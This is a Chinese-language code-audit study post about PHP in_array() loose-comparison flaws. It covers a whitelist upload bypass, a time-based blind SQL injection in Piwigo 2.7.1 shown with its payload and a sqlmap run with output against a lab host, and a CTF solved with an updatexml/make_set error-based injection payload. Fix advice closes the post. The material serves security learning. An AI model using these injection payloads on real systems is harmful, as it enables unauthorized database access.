一、开始代码审计之旅 01
从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧。
二、先看这道题目
1、题目名称:Wish List
2、in_array() 函数的作用
in_array() 函数的作用是判断第一参数是否存在第二个参数中,存在返回 true,不存在返回 false。需要注意的是,如果函数第三个参数为 true,则第一个参数必须还要和第二个参数同类型,函数才能返回 true。不写第三个参数,在一些情况下函数会发生强制转换,题目的漏洞就出在这里。
3、题目漏洞解析
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file($this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name']);
}
in_array() 函数并只简单判断文件名是否存在白名单中,并没有将第三个参数设置为 true,攻击者可以上传一个 5backdoor.php
的文件,其文件名为 5backdoor
,in_array() 函数将文件名强制转换为 5
,符合 ranger(1,24) 的白名单条件,5backdoor.php
可以上传,于是一个任意文件上传漏洞就产生了。
4、in_array() 的扩展知识
in_array 的一段代码,可以明确看到非严格模式与严格模式下的区别:
true,
'cheese' => false,
'hair' => 765,
'goblins' => null,
'ogres' => 'no ogres allowed in this array'
);
// Loose checking -- return values are in comments
// First three make sense, last four do not
var_dump(in_array(null, $array)); // true
var_dump(in_array(false, $array)); // true
var_dump(in_array(765, $array)); // true
var_dump(in_array(763, $array)); // true
var_dump(in_array('egg', $array)); // true
var_dump(in_array('hhh', $array)); // true
var_dump(in_array(array(), $array)); // true
// Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false
?>
三、结合一个案例
选取 piwigo2.7.1
内容管理系统的一个 SQL 注入漏洞来分析
1、漏洞原理分析
漏洞涉及文件:include/functions_rate.inc.php
,include/config_default.inc.php
,以及根目录下的picture.php
。
picture.php
关键代码:
if (isset($_GET['action']))
{
switch ($_GET['action'])
/*****************中间省略*********************/
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
/*****************中间省略*********************/
}
include/functions_rate.inc.php
关键代码:
function rate_picture($image_id, $rate)
{
global $conf, $user;
if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
/*****************中间省略*********************/
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
include/config_default.inc.php
关键代码:
$conf['rate_items'] = array(0,1,2,3,4,5);
通过上述代码分析,当参数 action=rate时会调用 include/functions_rate.inc.php
的 rate_picture($image_id, $rate)
函数,由于函数 in_array($rate, $conf['rate_items']))
没有将第三个参数设置因为 true,检查不严格,导致变量 $rate
变量可控,将 $rate
设置为 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
那么 SQL 语句就会变成:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date)
VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
基于时间的 SQL 盲注就产生了。
2、漏洞证明
用 SQL 注入工具 sqlmap 证明漏洞,payload 如下:
python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
漏洞验证返回结果:
[20:45:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.203.131:80/piwigo/picture.php?/1/category/1'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rate (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: rate=1 AND SLEEP(5)
---
[20:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:45:37] [INFO] fetching database names
[20:45:37] [INFO] fetching number of databases
[20:45:37] [INFO] resumed: 5
[20:45:37] [INFO] resumed: information_schema
[20:45:37] [INFO] resumed: mysq
[20:45:37] [INFO] resumed: mysql
[20:45:37] [INFO] resumed: performance_schema
[20:45:37] [INFO] resumed: piwigo271
available databases [5]:
[*] information_schema
[*] mysq
[*] mysql
[*] performance_schema
[*] piwigo271
3、修复建议
方法1:将 in_array() 函数的第三个参数设置为 true;
方法2:使用 intval() 函数将变量将转为数字;
方法3:使用正则表达式过滤,只限制为数字(官方修复是用这种方法)。
四、学习一道同类型的 CTF 题目
//index.php
connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "";
foreach ($row as $key => $value) {
echo "$key
";
echo "$value
";
}
echo "
";
}
else{
die($conn->error);
}
?>
//config.php
# CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
stop_hack() 函数禁用了关键字和函数,看了这篇文章的解析,用 updatexml+make_set 这两个函数就可以成功拿到 flag,payload如下:
http://192.168.203.131/day1/index.php?id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
五、个人收获
- 使用 in_array() 函数白名单过滤的时候,使用不当会出漏洞;
- 可以使用 updatexml() 或 extractvalue() 函数搭配 make_set() 等函数进行注入;
- 坚持学下去,一定有大进步。
六、参考文章
[红日安全]代码审计Day1 - in_array函数缺陷
piwigo SQL injection
免费开源相册Piwigo<= v2.7.1 SQL注入漏洞分析
[红日安全]PHP-Audit-Labs题解之Day1-4
updatexml injection without concat
MySQL updatexml()、extractvalue() 报错型SQL注入